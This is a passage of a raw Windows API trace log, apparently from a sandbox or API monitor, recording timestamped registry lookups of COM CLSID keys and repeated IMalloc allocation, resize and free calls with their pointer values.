phkResult=0xb5690f5ec8 | out: phkResult=0xb5690f5ec8*=0x1346) returned 0x0 [0112.624] RegOpenKeyW (in: hKey=0x1346, lpSubKey="Control", phkResult=0xb5690f5ed0 | out: phkResult=0xb5690f5ed0*=0x14be) returned 0x0 [0112.624] RegCloseKey (hKey=0x14be) returned 0x0 [0112.629] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2764b7f93f0, cb=0x140) returned 0x2764ba431c0 [0112.629] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2764b7f91f0, cb=0x140) returned 0x2764ba442d0 [0112.634] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2764ba431c0, cb=0x190) returned 0x2764b8acb60 [0112.634] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2764ba442d0, cb=0x190) returned 0x2764b8aa120 [0112.639] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2764b8acb60, cb=0x1e0) returned 0x2764ba7c010 [0112.639] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2764b8aa120, cb=0x1e0) returned 0x2764ba7cbb0 [0112.644] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2764ba7c010, cb=0x230) returned 0x2764ba56750 [0112.644] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2764ba7cbb0, cb=0x230) returned 0x2764ba57710 [0112.655] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2764ba56750, cb=0x280) returned 0x2764b84ef40 [0112.655] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2764ba57710, cb=0x280) returned 0x2764b84f460 [0112.660] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2764b84ef40, cb=0x2d0) returned 0x2764b10c5c0 [0112.660] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2764b84f460, cb=0x2d0) returned 0x2764b10dcc0 [0112.661] RegOpenKeyW (in: hKey=0xffffffff80000000, lpSubKey="Clsid\\{87291B51-0C8E-11D3-BB2A-00A0C93CA73A}", phkResult=0xb5690f5ec8 | out: phkResult=0xb5690f5ec8*=0x0) returned 0x2 [0112.662] RegOpenKeyW (in: hKey=0xffffffff80000000, lpSubKey="Clsid\\{FC1880CF-83B9-43A7-A066-C44CE8C82583}", phkResult=0xb5690f5ec8 | out: phkResult=0xb5690f5ec8*=0x0) returned 0x2 [0112.665] RegOpenKeyW (in: hKey=0xffffffff80000000, lpSubKey="Clsid\\{F2BF2C90-405F-11D3-BB39-00A0C93CA73A}", phkResult=0xb5690f5ec8 | out: phkResult=0xb5690f5ec8*=0x0) returned 0x2 [0112.667] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2764b10c5c0, cb=0x320) returned 0x2764ba131b0 [0112.667] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2764b10dcc0, cb=0x320) returned 0x2764ba124f0 [0112.668] RegOpenKeyW (in: hKey=0xffffffff80000000, lpSubKey="Clsid\\{61CECF11-FC3A-11D2-A1CD-005004602752}", phkResult=0xb5690f5ec8 | out: phkResult=0xb5690f5ec8*=0x0) returned 0x2 [0112.669] RegOpenKeyW (in: hKey=0xffffffff80000000, lpSubKey="Clsid\\{47DEA830-D619-4154-B8D8-6B74845D6A2D}", phkResult=0xb5690f5ec8 | out: phkResult=0xb5690f5ec8*=0x0) returned 0x2 [0112.670] RegOpenKeyW (in: hKey=0xffffffff80000000, lpSubKey="Clsid\\{93EB32F5-87B1-45AD-ACC6-0F2483DB83BB}", phkResult=0xb5690f5ec8 | out: phkResult=0xb5690f5ec8*=0x0) returned 0x2 [0112.672] RegOpenKeyW (in: hKey=0xffffffff80000000, lpSubKey="Clsid\\{AE7BFAFE-DCC8-4A73-92C8-CC300CA88859}", phkResult=0xb5690f5ec8 | out: phkResult=0xb5690f5ec8*=0x0) returned 0x2 [0112.673] RegOpenKeyW (in: hKey=0xffffffff80000000, lpSubKey="Clsid\\{D9DE732A-AEE9-4503-9D11-5605589977A8}", phkResult=0xb5690f5ec8 | out: phkResult=0xb5690f5ec8*=0x0) returned 0x2 [0112.674] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2764ba131b0, cb=0x370) returned 0x2764b997480 [0112.674] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2764ba124f0, cb=0x370) returned 0x2764b996d80 [0112.674] RegOpenKeyW (in: hKey=0xffffffff80000000, lpSubKey="Clsid\\{6342FCED-25EA-4033-BDDB-D049A14382D3}", phkResult=0xb5690f5ec8 | out: phkResult=0xb5690f5ec8*=0x0) returned 0x2 [0112.676] RegOpenKeyW (in: hKey=0xffffffff80000000, lpSubKey="Clsid\\{A8A55FAC-82EA-4BD7-BD7B-11586A4D99E4}", phkResult=0xb5690f5ec8 | out: phkResult=0xb5690f5ec8*=0x0) returned 0x2 [0112.678] RegOpenKeyW (in: hKey=0xffffffff80000000, lpSubKey="Clsid\\{BAB3768B-8883-4AEC-9F9B-E14C947913EF}", phkResult=0xb5690f5ec8 | out: phkResult=0xb5690f5ec8*=0x0) returned 0x2 [0112.679] RegOpenKeyW (in: hKey=0xffffffff80000000, lpSubKey="Clsid\\{6B28F900-8D64-4B80-9963-CC52DDD1FBB4}", phkResult=0xb5690f5ec8 | out: phkResult=0xb5690f5ec8*=0x0) returned 0x2 [0112.680] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2764b997480, cb=0x3c0) returned 0x2764b9d1e30 [0112.680] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2764b996d80, cb=0x3c0) returned 0x2764b9cfbe0 [0112.681] RegOpenKeyW (in: hKey=0xffffffff80000000, lpSubKey="Clsid\\{AE3B6831-25A9-11D3-BD41-00C04F6EA5AE}", phkResult=0xb5690f5ec8 | out: phkResult=0xb5690f5ec8*=0x0) returned 0x2 [0112.682] RegOpenKeyW (in: hKey=0xffffffff80000000, lpSubKey="Clsid\\{09AEFF11-69EF-11D3-BD4D-00C04F6EA5AE}", phkResult=0xb5690f5ec8 | out: phkResult=0xb5690f5ec8*=0x0) returned 0x2 [0112.684] RegOpenKeyW (in: hKey=0xffffffff80000000, lpSubKey="Clsid\\{95F45AA3-ED0A-11D2-BA67-0000F80855E6}", phkResult=0xb5690f5ec8 | out: phkResult=0xb5690f5ec8*=0x0) returned 0x2 [0112.685] RegOpenKeyW (in: hKey=0xffffffff80000000, lpSubKey="Clsid\\{DDDA102E-0E17-11D3-A2E2-00C04F79F88E}", phkResult=0xb5690f5ec8 | out: phkResult=0xb5690f5ec8*=0x0) returned 0x2 [0112.687] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2764b9d1e30, cb=0x410) returned 0x2764b73df40 [0112.687] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2764b9cfbe0, cb=0x410) returned 0x2764b73d6a0 [0112.687] RegOpenKeyW (in: hKey=0xffffffff80000000, lpSubKey="Clsid\\{5F9CFD93-8CAD-11D3-9A7E-00C04F8EFB70}", phkResult=0xb5690f5ec8 | out: phkResult=0xb5690f5ec8*=0x0) returned 0x2 [0112.689] RegOpenKeyW (in: hKey=0xffffffff80000000, lpSubKey="Clsid\\{09428D37-E0B9-11D2-B147-00C04F79FAA6}", phkResult=0xb5690f5ec8 | out: phkResult=0xb5690f5ec8*=0x0) returned 0x2 [0112.692] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2764b73df40, cb=0x460) returned 0x2764b953760 [0112.692] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2764b73d6a0, cb=0x460) returned 0x2764b892e70 [0112.697] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2764b953760, cb=0x4b0) returned 0x2764b953760 [0112.697] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2764b892e70, cb=0x4b0) returned 0x2764b892e70 [0112.701] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d8180 [0112.701] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d8180) returned 0x10 [0112.702] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d8180) [0112.702] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d8180 [0112.702] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d8180) returned 0x10 [0112.704] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d8180) [0112.704] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d8180 [0112.704] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d8180) returned 0x10 [0112.705] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d8180) [0112.705] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09300 [0112.705] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09300) returned 0x8 [0112.705] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09300) [0112.705] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764b9d8180 [0112.705] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d8180) returned 0x18 [0112.706] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d8180) [0112.706] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb08fd0 [0112.706] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb08fd0) returned 0x8 [0112.706] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb08fd0) [0112.706] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d8180 [0112.706] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d8180) returned 0x10 [0112.707] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d8180) [0112.707] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d8180 [0112.707] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d8180) returned 0x10 [0112.707] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d8180) [0112.707] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb08ff0 [0112.707] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb08ff0) returned 0x8 [0112.707] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb08ff0) [0112.708] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764bb034d0 [0112.708] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb034d0) returned 0x20 [0112.708] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb034d0) [0112.708] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d8180 [0112.708] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d8180) returned 0x10 [0112.708] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d8180) [0112.709] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764b9d8180 [0112.709] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d8180) returned 0x18 [0112.709] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d8180) [0112.709] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d8180 [0112.709] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d8180) returned 0x10 [0112.710] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d8180) [0112.710] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d8180 [0112.710] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d8180) returned 0x10 [0112.710] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d8180) [0112.710] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d8180 [0112.710] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d8180) returned 0x10 [0112.711] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d8180) [0112.711] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764b9d8180 [0112.711] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d8180) returned 0x18 [0112.712] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d8180) [0112.712] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d8180 [0112.712] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d8180) returned 0x10 [0112.713] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d8180) [0112.713] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d8180 [0112.713] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d8180) returned 0x10 [0112.713] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d8180) [0112.713] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d8180 [0112.713] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d8180) returned 0x10 [0112.714] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d8180) [0112.714] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d8180 [0112.714] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d8180) returned 0x10 [0112.714] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d8180) [0112.714] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d8180 [0112.714] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d8180) returned 0x10 [0112.715] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d8180) [0112.715] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09060 [0112.715] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09060) returned 0x8 [0112.715] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09060) [0112.715] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764b9d8180 [0112.715] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d8180) returned 0x18 [0112.716] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d8180) [0112.716] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764b9d8180 [0112.716] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d8180) returned 0x18 [0112.716] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d8180) [0112.716] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764bb034d0 [0112.716] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb034d0) returned 0x20 [0112.717] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb034d0) [0112.717] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb091d0 [0112.717] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb091d0) returned 0x8 [0112.717] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb091d0) [0112.717] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d8180 [0112.717] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d8180) returned 0x10 [0112.718] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d8180) [0112.718] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d8180 [0112.718] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d8180) returned 0x10 [0112.718] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d8180) [0112.718] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764b9d8180 [0112.718] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d8180) returned 0x18 [0112.719] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d8180) [0112.719] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764b9d8180 [0112.719] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d8180) returned 0x18 [0112.720] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d8180) [0112.720] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d8180 [0112.720] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d8180) returned 0x10 [0112.720] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d8180) [0112.720] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d8180 [0112.720] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d8180) returned 0x10 [0112.721] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d8180) [0112.721] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d8180 [0112.721] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d8180) returned 0x10 [0112.721] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d8180) [0112.721] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09250 [0112.721] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09250) returned 0x8 [0112.722] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09250) [0112.722] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb08f70 [0112.722] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb08f70) returned 0x8 [0112.722] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb08f70) [0112.722] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb091d0 [0112.722] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb091d0) returned 0x8 [0112.723] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb091d0) [0112.723] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09210 [0112.723] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09210) returned 0x8 [0112.723] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09210) [0112.723] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x28) returned 0x2764bb034d0 [0112.723] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb034d0) returned 0x28 [0112.724] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb034d0) [0112.724] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x28) returned 0x2764bb03e00 [0112.724] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb03e00) returned 0x28 [0112.724] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb03e00) [0112.724] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764b9d8ca0 [0112.725] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d8ca0) returned 0x18 [0112.725] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d8ca0) [0112.725] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d87a0 [0112.725] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d87a0) returned 0x10 [0112.725] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d87a0) [0112.726] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764b9d8f40 [0112.726] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d8f40) returned 0x18 [0112.726] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d8f40) [0112.726] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x28) returned 0x2764bb03c20 [0112.726] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb03c20) returned 0x28 [0112.727] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb03c20) [0112.727] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x28) returned 0x2764bb03e30 [0112.727] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb03e30) returned 0x28 [0112.728] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb03e30) [0112.728] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x28) returned 0x2764bb03800 [0112.728] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb03800) returned 0x28 [0112.729] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb03800) [0112.753] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d8c60 [0112.753] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d8c60) returned 0x10 [0112.753] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d8c60) [0112.754] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d8c00 [0112.754] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d8c00) returned 0x10 [0112.754] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d8c00) [0112.754] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764b9d8900 [0112.754] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d8900) returned 0x18 [0112.755] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d8900) [0112.755] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764b9d8d80 [0112.755] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d8d80) returned 0x18 [0112.756] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d8d80) [0112.756] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764b9d8d00 [0112.756] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d8d00) returned 0x18 [0112.757] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d8d00) [0112.757] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764b9d88a0 [0112.757] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d88a0) returned 0x18 [0112.758] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d88a0) [0112.758] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d8e00 [0112.758] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d8e00) returned 0x10 [0112.759] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d8e00) [0112.759] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d8b20 [0112.759] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d8b20) returned 0x10 [0112.759] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d8b20) [0112.759] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d8d00 [0112.759] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d8d00) returned 0x10 [0112.760] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d8d00) [0112.760] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d8f40 [0112.760] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d8f40) returned 0x10 [0112.760] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d8f40) [0112.760] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d8880 [0112.760] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d8880) returned 0x10 [0112.760] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d8880) [0112.761] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d8e60 [0112.761] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d8e60) returned 0x10 [0112.761] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d8e60) [0112.761] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d88a0 [0112.761] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d88a0) returned 0x10 [0112.761] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d88a0) [0112.762] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d8dc0 [0112.762] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d8dc0) returned 0x10 [0112.762] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d8dc0) [0112.762] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d8f40 [0112.762] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d8f40) returned 0x10 [0112.762] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d8f40) [0112.763] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764b9d8ac0 [0112.763] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d8ac0) returned 0x18 [0112.763] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d8ac0) [0112.763] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d8b20 [0112.763] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d8b20) returned 0x10 [0112.763] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d8b20) [0112.763] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09300 [0112.763] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09300) returned 0x8 [0112.764] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09300) [0112.764] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09060 [0112.764] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09060) returned 0x8 [0112.764] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09060) [0112.764] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb091d0 [0112.764] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb091d0) returned 0x8 [0112.764] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb091d0) [0112.764] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb091d0 [0112.764] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb091d0) returned 0x8 [0112.765] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb091d0) [0112.765] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764b9d8f40 [0112.765] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d8f40) returned 0x18 [0112.765] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d8f40) [0112.769] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764b9d8d80 [0112.769] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d8d80) returned 0x18 [0112.770] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d8d80) [0112.770] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764b9d8900 [0112.770] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d8900) returned 0x18 [0112.771] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d8900) [0112.771] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764b9d8920 [0112.771] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d8920) returned 0x18 [0112.772] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d8920) [0112.772] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764b9d8f40 [0112.772] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d8f40) returned 0x18 [0112.772] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d8f40) [0112.773] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764b9d8c60 [0112.773] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d8c60) returned 0x18 [0112.773] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d8c60) [0112.773] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d8dc0 [0112.773] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d8dc0) returned 0x10 [0112.774] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d8dc0) [0112.774] IMalloc:Alloc 